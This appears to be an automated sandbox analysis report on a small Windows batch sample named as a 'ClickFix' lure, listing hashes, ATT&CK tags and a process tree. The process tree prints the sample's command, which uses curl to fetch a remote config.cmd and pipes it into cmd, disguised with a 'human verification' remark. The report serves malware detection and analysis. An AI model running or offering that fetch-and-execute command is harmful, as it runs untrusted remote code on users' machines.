4f9c17a3ed3928521da6e70f277ca1ad9b1ff418258a2b1eb99600d3048c03a2

Analysis

max time kernel
148s
max time network
116s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
15/08/2026, 13:21

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General

Target
clickfix_raw_user_input.bat
Size 231B
Sample260815-ql2rnsxcrd
SHA256 4f9c17a3ed3928521da6e70f277ca1ad9b1ff418258a2b1eb99600d3048c03a2
MD5 a8b2c9be8cf7bf7df674282873e8f52b
SHA1 da2a9498e1703e7d115b0f8070c7aa3b920e2f1e
SHA512 922896aa265e69ed908c397d85e8d82b0018193524fc91d47a43df147d06798965a37668079db029cd2019190612c089e0de4fd6be28a454afc578e591167166
TLSH
T1D0D080C30A1D78311DA33B554871694D7525A5FF240C1C24706FD55E175311BD706520
MD5 SHA1 SHA512 TLSH

Score

3^/10

execution

Malware Config

Signatures

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4984	cmd.exe
4624	cmd.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4984 wrote to memory of 5844	4984	cmd.exe	90
PID 5844 wrote to memory of 4624	5844	conhost.exe	91
PID 4624 wrote to memory of 356	4624	cmd.exe	92
PID 4624 wrote to memory of 372	4624	cmd.exe	93

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	3	curl/8.8.0

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\clickfix_raw_user_input.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4984
- C:\Windows\system32\conhost.exe
  conhost --headless cmd /c "curl -ks https://2d4e5f6-7a8b-4c2d-9e1f-3b5a7c8d9e0fc.s3.us-east-1.amazonaws.com/config.cmd|cmd&rem human verification "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5844
- - C:\Windows\system32\cmd.exe
    cmd /c "curl -ks https://2d4e5f6-7a8b-4c2d-9e1f-3b5a7c8d9e0fc.s3.us-east-1.amazonaws.com/config.cmd|cmd&rem human verification "
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4624
  - - C:\Windows\system32\curl.exe
      curl -ks https://2d4e5f6-7a8b-4c2d-9e1f-3b5a7c8d9e0fc.s3.us-east-1.amazonaws.com/config.cmd
      4⤵
      PID:356
  - - C:\Windows\system32\cmd.exe
      cmd
      4⤵
      PID:372

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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